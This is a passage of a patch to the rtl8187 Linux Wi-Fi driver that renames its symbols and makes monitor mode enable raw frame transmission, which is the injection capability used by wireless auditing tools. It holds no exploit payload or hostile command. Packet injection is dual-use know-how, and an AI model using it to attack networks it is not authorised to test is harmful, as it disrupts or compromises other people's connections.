strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2479,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2562,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2574,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2589,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2618,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2634,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-06-08 23:30:47.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +341,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +431,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-05-26 10:39:10.000000000 +0200 @@ -0,0 +1,36 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f 